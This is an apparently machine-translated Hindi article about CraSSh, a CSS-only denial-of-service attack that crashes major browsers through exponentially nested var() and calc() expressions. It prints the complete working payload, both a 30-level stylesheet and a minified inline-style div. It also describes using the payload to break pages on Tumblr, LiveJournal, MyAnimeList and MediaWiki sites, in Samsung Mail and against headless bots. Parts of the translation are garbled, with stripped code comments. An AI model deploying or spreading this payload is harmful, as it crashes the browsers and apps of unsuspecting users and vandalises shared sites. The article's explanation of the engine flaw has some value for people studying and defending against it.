लेख लेखक: कॉन्स्टेंटिन सफोनोव

मैं इस तकनीकी बकवास को पढ़ना नहीं चाहता। मेरा ब्राउज़र अभी गिर गया है।

CraSSh क्या है

CraSSh एक क्रॉस-ब्राउज़र है जो विशुद्ध रूप से घोषणात्मक DoS पर हमला करता है जो कि var() और calc() CSS नेस्टेड फ़ंक्शंस के खराब हैंडलिंग पर आधारित है।

CraSSh डेस्कटॉप और मोबाइल उपकरणों पर सभी प्रमुख ब्राउज़रों में काम करता है:

• WebKit / Blink engine - क्रोम, ओपेरा, सफारी, यहां तक ​​कि स्मार्ट टीवी और रेफ्रिजरेटर पर सैमसंग इंटरनेट।
  
  • Android WebView, iOS UIWebView भी प्रभावित होते हैं, अर्थात, आप किसी भी एप्लिकेशन को एक अंतर्निहित ब्राउज़र से क्रैश कर सकते हैं।
• गेको इंजन पर - फ़ायरफ़ॉक्स और इसके कांटे, जैसे कि टोर ब्राउज़र।
  
  • सर्वो मेरी किसी भी मशीन पर शुरू नहीं हुआ, इसलिए मैंने इसका परीक्षण नहीं किया।
• EdgeHTML इंजन पर - विंडोज पर बढ़त, UWP अनुप्रयोगों पर WebView (क्या कोई उन्हें बिल्कुल भी उपयोग करता है?)

IE ब्राउज़र प्रभावित नहीं होता है, क्योंकि यह उन कार्यों का समर्थन नहीं करता है जिन पर हमला आधारित है, लेकिन इसके उपयोगकर्ताओं की स्वयं की कई समस्याएं हैं (शायद यह ब्राउज़र अन्य तरीकों से नष्ट हो सकता है - लगभग।) ।

यह कैसे काम करता है

क्रैडश का विचार है कि ब्राउज़र को सीएसएस संपत्ति की गणना करने के लिए घातीय समय में नेस्टेड चर कॉल के साथ और विशाल मेमोरी उपयोग के साथ।

हमला तीन सीएसएस सुविधाओं पर निर्भर करता है:

सीएसएस चर ( कस्टम गुण और var () )

वे आपको घोषणा करने की अनुमति देते हैं: चर को असाइन करें और पढ़ें:

 .variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ } 

चर पुनरावृत्ति की अनुमति नहीं देते हैं (हालांकि वेबकीट में एक बग था जो अनंत पुनरावृत्ति का कारण बनता था) या छोरों, लेकिन उन्हें इस रूप में परिभाषित किया जा सकता है

भाव कैल्क ()

अभिव्यक्तियाँ कैल्क () आपको नियमों का वर्णन करते समय कुछ बुनियादी अंकगणितीय संचालन करने की अनुमति देती हैं, उदाहरण के लिए, 'width: calc(50% - 10px)' ।

calc() आपको चर का संदर्भ देने और एक ही अभिव्यक्ति में कई मूल्यों का उपयोग करने की अनुमति देता है:

 .calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ } 

यह संभव बनाता है:

• पिछले चर के संदर्भ जोड़कर प्रत्येक calc() अभिव्यक्ति में रैखिक वृद्धि करें;
• calc() अभिव्यक्ति के साथ प्रत्येक चर घोषणा के साथ तेजी से जटिलता में वृद्धि जो अन्य गणना किए गए चर का संदर्भ देती है:

 .calc_multiple { --variable-level-0: 1px; /*  */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2   */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2   , 4   */ /* ...    */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2   , 2 ^ n   */ } 

ऐसा लगता है कि यह एक घातीय समय पर गणना की जानी चाहिए, लेकिन आधुनिक ब्राउज़र थोड़ा चालाक हैं, इसलिए वे आमतौर पर एक बार चर के मूल्यों की गणना करते हैं, जिससे जटिलता रैखिक को कम कर देती है। चाल यह है कि चर मानों की कैशिंग नहीं होती है यदि यह है

विषम अर्थ

तकनीकी रूप से, यह calc() का हिस्सा है, लेकिन यह विशेष उल्लेख के योग्य है। एक विषम चर में पूर्ण और सापेक्ष दोनों इकाइयाँ होती हैं। वह नहीं हो सकती:

• एक निरपेक्ष मान के रूप में गणना और विभिन्न तत्वों के लिए विभिन्न अनुप्रयोगों द्वारा साझा की जाती है, क्योंकि यह लक्ष्य तत्व (इकाइयों '%' / 'em' ) के गुणों पर निर्भर करता है;
• एक अनुप्रयोग में एक निरपेक्ष मान के रूप में गणना की जाती है, क्योंकि कुछ मामलों में यह गोलाकार त्रुटियों के संचय की ओर ले जाएगा, जो अजीब उप-प्रकारों के कारण होते हैं जो जटिल लेआउट का उल्लंघन करते हैं (क्या आपके पास 12 कॉलम हैं, स्क्रीन चौड़ाई के प्रत्येक 1/12? कोई भाग्य नहीं, दोस्त, वे एक साथ आएंगे? एक नई पंक्ति में या अंत में एक भद्दा अंतर छोड़ दें)।

इस प्रकार, इस मूल्य को हर बार पुनर्गणना किया जाता है:

 .non_cached { --const: calc(50% + 10px); /*  (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* -     */ width: var(--variable); /*    */ } 

दूसरे बिंदु के रूप में, अधिकांश ब्राउज़र केवल घूमने से बचने के लिए एक एकल अभिव्यक्ति में विषम मान के साथ नेस्टेड वेरिएबल एम्बेड करते हैं:

 .mixed { --mixed:calc(1% + 1px); /*   */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /*      */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /*     */ --mixed-reference-computes-as: calc(2% + 2px); /*  ,        */ } 

कल्पना करें कि अभिव्यक्ति में लाखों (या अरबों) तत्व हैं ... सीएसएस इंजन कई गीगाबाइट रैम को आवंटित करने, अभिव्यक्ति को कम करने, ईवेंट हैंडलर जोड़ने की कोशिश कर रहा है, ताकि कुछ बदलने पर गुणों को गिना जा सके। अंत में, यह एक निश्चित स्तर पर होता है।

तो, मूल CraSSh देखा:

 .crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /*   */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2  */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4  */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8  */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16  */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32  */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64  */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128  */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256  */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512  */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024  */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048  */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096  */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192  */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384  */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768  */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536  */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072  */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144  */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288  */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576  */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152  */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304  */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608  */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216  */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432  */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864  */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728  */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456  */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912  */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824  */ --level-final: calc(var(--level-30) + 1px); /* 1073741824  */ /* ^        ->   -  */ border-width: var(--level-final); /* <-    */ /*     border-width,   style (=  ) */ border-style: solid; } 

 <div class="crassh">    ,      CSS     CraSSh </div> 

और यहाँ 1000 से कम वर्णों का निर्मित संस्करण (प्रदर्शन के लिए मीडियाविकि) है।

 <div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div> 

इसका उपयोग कैसे करें

उपयोगकर्ताओं को अपनी साइट या ब्लॉग से दूर एक प्लेटफ़ॉर्म पर ड्राइविंग करने के अलावा, जो HTML तक पूर्ण पहुंच प्रदान करता है, जैसे Tumblr ( ब्राउज़र क्रैश के साथ उदाहरण ) या LiveJournal ( ब्राउज़र क्रैश के साथ उदाहरण ), CraSSh आपको इसकी अनुमति देता है:

• साइट के उन पृष्ठों पर UI को तोड़ें जो आपके नियंत्रण में हैं और आपको HTML टेम्पलेट प्रदान किए बिना, मनमाने ढंग से CSS को परिभाषित करने की अनुमति देते हैं। मैं MyAnimeList ( एक ब्राउज़र क्रैश के साथ उदाहरण ) को तोड़ने में कामयाब रहा। रेडिट इस हमले से प्रभावित नहीं है क्योंकि उनके पार्सर सीएसएस चर का समर्थन नहीं करते हैं।
• सार्वजनिक, सार्वजनिक रूप से सुलभ लेखन पृष्ठों पर UI को तोड़ें जो आपको इनलाइन शैलियों के साथ कुछ HTML टैग एम्बेड करने की अनुमति देते हैं। विकिपीडिया पर, मेरे खाते को बर्बरता के लिए प्रतिबंधित कर दिया गया था, हालाँकि मैंने अपने निजी पृष्ठ पर एक ब्राउज़र विफलता के साथ एक उदाहरण पोस्ट किया था। यह हमला ज्यादातर मीडियाविकि आधारित परियोजनाओं को प्रभावित करता है। सिद्धांत रूप में, एक टूटे हुए पृष्ठ को यूआई के माध्यम से बहाल नहीं किया जा सकता है।
• HTML- सक्षम ईमेल क्लाइंट का कारण
  
  
  • यह बहुत मुश्किल है क्योंकि ईमेल क्लाइंट एचटीएमएल को हटा / कम करते हैं और आमतौर पर आधुनिक सीएसएस सुविधाओं का समर्थन नहीं करते हैं जो क्रैडश का उपयोग करता है।
  • CraSSh में काम करता है
    
    
    • Android के लिए सैमसंग मेल
  • CraSSh में काम नहीं करता है
    
    
    • आउटलुक (वेब)
    • Gmail (वेब)
    • Gmail (Android)
    • याहू (वेब)
    • यांडेक्स (वेब)
    • प्रोटोनमेल (वेब)
    • जोम्ब्रा (वेब, ऑफलाइन इंस्टॉलेशन)
    • विंडोज मेल (विंडोज जाहिर है)
  • में काम करना चाहिए
    
    
    • मैक के लिए आउटलुक (आंतरिक रूप से वेबकिट का उपयोग करता है)
  • अन्य ने परीक्षण नहीं किया है।
• मुझे सिर्फ इस बात का पता चला है कि क्रैस्प का इस्तेमाल सीईएफ / फैंटमजेएस पर आधारित बॉट्स के खिलाफ किया जा सकता है। आक्रमण की गई साइट हेडर के साथ क्रैडश कोड को ( जैसे यहां ) इंजेक्ट कर सकती है, और सामान्य रूप से 403 त्रुटि प्रदर्शित नहीं करती है। IIRC, त्रुटियों को अलग-अलग तरीके से एम्बेडेड इंजन में संभाला जाता है, इसलिए
  
  
  • यह संभवतः बॉट को क्रैश करने का कारण बनेगा (कोई भी हेडलाइट ब्राउज़र में स्टैक ओवरफ्लो या कुछ की उम्मीद नहीं करता है)
  • यह डीबग करना बहुत मुश्किल है, क्योंकि यह जवाब के शरीर में भी दिखाई नहीं देता है, जो लॉग में जाने की सबसे अधिक संभावना है

ऐसा क्यों किया जाता है

• याद है कि लिनुस पोस्ट ?
  
  

  ऐसा लगता है कि आईटी सुरक्षा की दुनिया एक नए तल पर पहुंच गई है।
  
  यदि आप सुरक्षा में काम करते हैं और सोचते हैं कि आपके पास विवेक है, तो मुझे लगता है कि आप लिख सकते हैं:
  
  "नहीं, वास्तव में, मैं एक वेश्या नहीं हूँ। ईमानदारी से, ईमानदारी से ”
  
  उसके व्यवसाय कार्ड पर। मुझे लगता था कि पूरा उद्योग सड़ा हुआ है, लेकिन यह पहले से ही हास्यास्पद है।
  
  सुरक्षा लोग किस बिंदु पर स्वीकार करते हैं कि उन्हें खुद पर ध्यान आकर्षित करना पसंद है?

  
  मैं और भी आगे बढ़ गया और एक पूरी साइट को एक साधारण बग के लिए समर्पित कर दिया, क्योंकि सुबह 4 बजे तक काम करने का आनंद और प्राप्त परिणामों पर ध्यान देना कुछ चीजें हैं जो मुझे अवसाद से बचाए रखती हैं और कार्यालय के सामने इस सुंदर फुटपाथ पर गोताखोरी करती हैं।
• इसके अलावा, मैं फ्रंटएंड से नफरत करता हूं, जो कि फुलस्टैक डेवलपर के रूप में मेरी नौकरी का हिस्सा है, और इस तरह की चीजें मुझे थोड़ा आराम करने में मदद करती हैं।

समान सामान

अब मैं एक अद्भुत परियोजना में भाग ले रहा हूं, जिसके बारे में हम थोड़ी देर बाद बात करेंगे। हमें ट्विटर पर फॉलो करें।

विशेष धन्यवाद

• कॉन्स्टेंटिन स्टेपानोव ( @बर्ग )।
• एपिकमॉर्ग , जिन्होंने इस परियोजना को पोस्ट किया, हालांकि मैं उन्हें मुसीबत के साथ नरक में लाता हूं।